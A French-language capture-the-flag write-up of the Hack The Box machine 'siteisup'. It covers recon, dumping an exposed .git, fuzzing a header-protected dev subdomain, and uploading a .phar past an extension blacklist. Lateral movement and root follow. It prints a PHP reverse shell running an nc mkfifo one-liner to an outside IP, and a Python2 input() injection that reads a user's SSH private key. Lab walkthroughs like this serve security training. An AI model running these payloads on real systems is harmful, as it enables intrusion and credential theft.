Table of contents



Note

DeuxiĂšme writeup sur HTB, il a lui aussi Ă©tĂ© fait il y a longtemps donc c’est possible que j’ai dit des bĂȘtises, et il y a beaucoup de screens.

NĂ©anmoins, c’Ă©tait un room assez sympathique avec une mĂ©chanique bien trouvĂ©e, je l’ai bien aimĂ©e.

Recon

Comme d’habitude, on lance:

nmap -A siteisup.htb

2022-12-08-174744_930x1026_scrot

Aucun port anormal d’ouvert, on va donc se concentrer sur le site et le rĂ©sultat du dirbuster

dirb http://siteisup.htb

2022-12-08-175753_930x1026_scrot

Bon lĂ  c’est assez Ă©vident, le /.git a rien Ă  faire ici, donc on va utiliser git-dumper pour rĂ©cupĂ©rer tout les fichiers qui s’y trouvent

git-dumper http://siteisup.htb/dev/.git/ git/

On se retrouve donc avec ceci

2022-12-08-180406_949x511_scrot

On affiche la liste des commits faits au repo

git log

2022-12-08-180622_1920x1080_scrot

Il y en a beaucoup, mais le seul qui sort du lot est le “New technique in header to protect our dev vhost.”

Regardons les modifications qu’ont apportĂ©es ce commit

git show 8812785e31c879261050e72e20f298ae8c43b565

On voit que c’est une modification du .htaccess, qui change les settings du serveur pour que seules les connections avec le header Special-Dev: only4dev soient acceptĂ©es

2022-12-08-180809_751x369_scrot

Mais le serveur principal fonctionnait trĂšs bien sans ce header, donc le .htacces doit probablement agir sur un sous domaine

On va donc fuzz les sous domaines

ffuf -c -w /usr/share/wfuzz/wordlist/general/common.txt -u "http://siteisup.htb" -H "Host: FUZZ.siteisup.htb" -fs 1131

2022-12-08-181009_1888x1032_scrot

Il existe donc un sous domaine: dev.siteisup.htb

Pour s’y rendre, on active le proxy burpsuite, puis on dĂ©sactive l’intercepter

On crĂ©e ensuite un Match and Replace dans les options du proxy, qui va ajouter le header Ă  toutes nos requĂȘtes

2022-12-08-181210_962x1061_scrot

dev.siteisup.htb est une sorte de panel administrateur, oĂč on peut entrer une liste d’urls Ă  checker

2022-12-08-181327_930x1026_scrot

Foothold

Mais c’est surtout un sous domaine dont on a le code source dans le .git, donc on va aller y jeter un oeil

L’index include juste checker ou le fichier en fonction du lien avec un filtre pour les LFI, on va regarder dans checker

<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
	define("DIRECTACCESS",false);
	$page=$_GET['page'];
	if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
		include($_GET['page'] . ".php");
	}else{
		include("checker.php");
	}	
?>

C’est le fichier qui gùre l’upload et le check de la liste d’urls, c’est là qu’on verra les eventuels filtres et ce qu’il se passe quand on lui upload un fichier

# File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
        $file = $_FILES['file']['name'];
        
        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }
  
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
        
  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));
        
        foreach($websites as $site){
                $site=trim($site);
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }       
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }
# Delete the uploaded file.
        @unlink($final_path);
}

On sait donc que:

  • Le fichier qu’on upload ne peut pas faire plus de 10Kb
  • Son extention ne doit pas ĂȘtre dans la blacklist
  • Quand on upload un fichier, il est stockĂ© dans /uploads
  • Il est lu en entier, chaque url est checkĂ© puis le fichier est supprimĂ©

Tout d’abord le premier filtre n’est pas un problùme puisque la plupart des reverse shell en php font moins de 10Kb

Ensuite, le danger des blacklists, c’est oublier une extention, en l’occurence ici, l’extention .phar n’est pas blacklist, on va donc pouvoir upload des fichiers php qui seront lus

Enfin, pour Ă©viter que le fichier soit supprimĂ© directement, on va lui donner une grande quantitĂ© d’urls Ă  check, pour que ça prenne plus de temps

On crée donc notre payload.phar:

http://www.ebay.com
http://www.google.fr
http://www.t.co
http://www.tmall.com
http://www.google.com.br
http://www.360.cn
http://www.sohu.com
http://www.amazon.co.jp
http://www.pinterest.com
http://www.netflix.com
http://www.google.it
http://www.google.ru
http://www.microsoft.com
http://www.google.es
http://www.wordpress.com
http://www.gmw.cn
http://www.tumblr.com
http://www.paypal.com
http://www.blogspot.com
http://www.imgur.com
http://www.stackoverflow.com
http://www.aliexpress.com
http://www.naver.com
http://www.ok.ru
http://www.apple.com
http://www.github.com
http://www.chinadaily.com.cn
http://www.imdb.com
http://www.google.co.kr
http://www.fc2.com
http://www.jd.com
http://www.blogger.com
http://www.163.com
http://www.google.ca
http://www.whatsapp.com
http://www.amazon.in
http://www.office.com
http://www.tianya.cn
http://www.google.co.id
<?php
//Upload reverse-shell, bypass exec(), shell_exec(), system(), fsockopen(), passthru()

$descriptorspec = array(
 0 => array("pipe","r"),  
 1 => array("pipe","w"),
 2 => array("file","/tmp/error-output.txt","a")
);

$cwd='/tmp';
$env=array('some_option'=>'aeiou');

$process=proc_open('sh',$descriptorspec,$pipes,$cwd,$env);

if(is_resource($process)){

    fwrite($pipes[0],'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.172 9001 >/tmp/f');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

J’utilise un reverse shell spĂ©cial qui bypass exec(), shell_exec() et toutes les fonctions de ce type car elles sont filtrĂ©es

On lance notre netcat, on upload le fichier puis on le visite…

Lateral Move

Maintenant qu’on est connectĂ©s Ă  la machine, routine classique pour stabiliser le shell

python3 -c ‘import pty;pty.spawn(”/bin/bash”)’
export TERM=xterm

Et on se contentera de ça !

En regardant dans le home de developer, il y a un dossier “dev”, dans lequel se trouve un siteisup_test.py et un siteisup

En faisant un ls -la, on voit que le fichier siteisup a le setuid bit, ce qui veux dire qu’il est executĂ© en tant que l’owner du fichier, soit en tant que developer

2022-12-08-183857_930x1026_scrot

Partons du principe qu’il s’agit seulement d’une version compilĂ©e du .py qui se trouve dans le mĂȘme rĂ©pertoire

Il retourne cette erreur au lancement:

SyntaxError: Missing parentheses in call to 'print'. Did you mean print("Website is up")?

On peut cat le .py pour essayer de comprendre un peu mieux ce qu’il se passe:

import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
	print "Website is up"
else:
	print "Website is down"

Cette syntaxe du print est propre Ă  python2, et on peut se douter que ceci n’a pas Ă©tĂ© laissĂ© au hasard

On cherche donc des vulnérabilités de python2 sur google, et assez vite on peut se rendre compte que toutes les input en python2 sont injectables

En entrant un payload dans un input, ce dernier est executé avant que le programme plante

On va donc lancer le fichier avec python2 puis entrer ce payload dans l’input:

__import__('os').system("cat /home/developer/.ssh/id_rsa")

Ce dernier va simplement lire la clĂ© SSH de l’user developer

Bien Ă©videmment, en lançant le .py, il retourne une permission denied, puisque le fichier n’a pas le setuid bit

2022-12-08-184616_930x1026_scrot

En essayant le mĂȘme payload mais cette fois dans l’input du binaire, ça fonctionne, et on a la clĂ© de developer

2022-12-08-184731_1888x1032_scrot

On save la clĂ© localement puis on met Ă  jour ses permissions pour pouvoir l’utiliser avec la commande ssh

chmod 700 id_rsa.key

On se ssh en tant que developer

ssh -i id_rsa.key developer@siteisup.htb

2022-12-08-184929_1888x1032_scrot

Privilege escalation

Le root Ă©tant extrĂȘmement facile, on va pouvoir passer assez vite dessus

sudo -l

Cela nous montre que developer peut utiliser le binaire /usr/local/bin/easy_install avec sudo

On trouve cet exploit sur GTFOBins

2022-12-08-185201_1888x1032_scrot

back to top